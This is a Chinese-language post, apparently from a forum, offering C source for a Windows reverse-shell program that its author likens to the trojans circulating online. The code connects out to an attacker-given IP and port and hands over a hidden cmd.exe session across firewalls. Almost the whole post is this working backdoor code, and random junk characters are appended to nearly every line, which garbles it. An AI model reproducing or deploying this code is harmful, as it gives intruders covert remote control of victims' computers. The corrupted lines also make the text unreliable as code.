这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 NRDXWscb
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/* ============================== UA(&_-C\
Rebound port in Windows NT F`RPXY`ux
By wind,2006/7 LV`tnt's
===============================*/ 4s7&*dJ
#include u/(~ewI
#include O("13cU
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#pragma comment(lib,"wsock32.lib") 91ndr@*|
c^x5 E`{
void OutputShell(); @"O|[%7e
SOCKET sClient; gfly?)V nF
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ] Wx?k7T
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void main(int argc,char **argv) 9y{R_
{ EdC/]
WSADATA stWsaData; tM3Q;8gB!
int nRet; a?8boN(
SOCKADDR_IN stSaiClient,stSaiServer; JbLHW26pl
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if(argc != 3) ['Y"6[1
{ }5]7lGR
printf("Useage:\n\rRebound DestIP DestPort\n"); 9oTtH7%
return; 7)dCdO
}
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WSAStartup(MAKEWORD(2,2),&stWsaData); JXF0}T)C
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %ZM"c
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stSaiClient.sin_family = AF_INET; nUf0TkA
stSaiClient.sin_port = htons(0); >Q[3t79^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^:Fj+d
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) f:KZP;/[c
{ lkJ"f{4f
printf("Bind Socket Failed!\n"); QyD(@MFxb
return; *1g3,NMA
} k]9+/$
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stSaiServer.sin_family = AF_INET; W}'l8z]
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Mew,g:m:
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); U%rq(`;
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ob]j1gYb
{ UM:]QbaIn
printf("Connect Error!"); tX~*.W:
return; *NCkC
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} R^&.:;Wi>
OutputShell(); 2"IDz01ne
} \Sv8c}8
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void OutputShell() <HH\VG\H6
{ #T++5G
char szBuff[1024]; e5#?@}?
SECURITY_ATTRIBUTES stSecurityAttributes; @K1'Q!S*
OSVERSIONINFO stOsversionInfo; /B)`pF.n
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; YT}ZLx
STARTUPINFO stStartupInfo; ToM1#]4
char *szShell; V@r V+s
PROCESS_INFORMATION stProcessInformation; BKKW3PT
unsigned long lBytesRead; <kKuis6h
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k|`Qk!tr
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2B b,ZC*
stSecurityAttributes.lpSecurityDescriptor = 0; Hq#q4Y
stSecurityAttributes.bInheritHandle = TRUE; ]DjnzClx
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5Zn: $?7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); m{f+!
qyzH*#d=Cf
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ko~D;M:
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Egmp8:nZl@
stStartupInfo.wShowWindow = SW_HIDE; ^J'O8G$
stStartupInfo.hStdInput = hReadPipe; %#TAz7
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; epgAfx-_OH
& tjL*/
GetVersionEx(&stOsversionInfo); 7ygz52
^~^=$fz
switch(stOsversionInfo.dwPlatformId) sGG
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{ Cs2kbG_
case 1: lf#5X)V
szShell = "command.com"; rlY n"3%
break; jEn9T
default: $bl<mG%#9
szShell = "cmd.exe"; -+[~eqRB
break; 9Y+7o%6e
} '0v]?mM
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); l~mj>$
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send(sClient,szMsg,77,0); |f1RhB
while(1) i?861Hu
{ Ffig0K+`
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); }kSP p
if(lBytesRead) ndu$N$7+
{ b8**M'k
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %E[ $np>
send(sClient,szBuff,lBytesRead,0); 3hcWR'|
} SB,#y>Zv?
else ce:wF#Qs
{ 49=
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lBytesRead=recv(sClient,szBuff,1024,0); (t5vBUj
if(lBytesRead<=0) break; EQ]>^VE2B
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); v%7Gh-P
} W@RD
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} /9o6R:B
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return; `jec|i@oO
}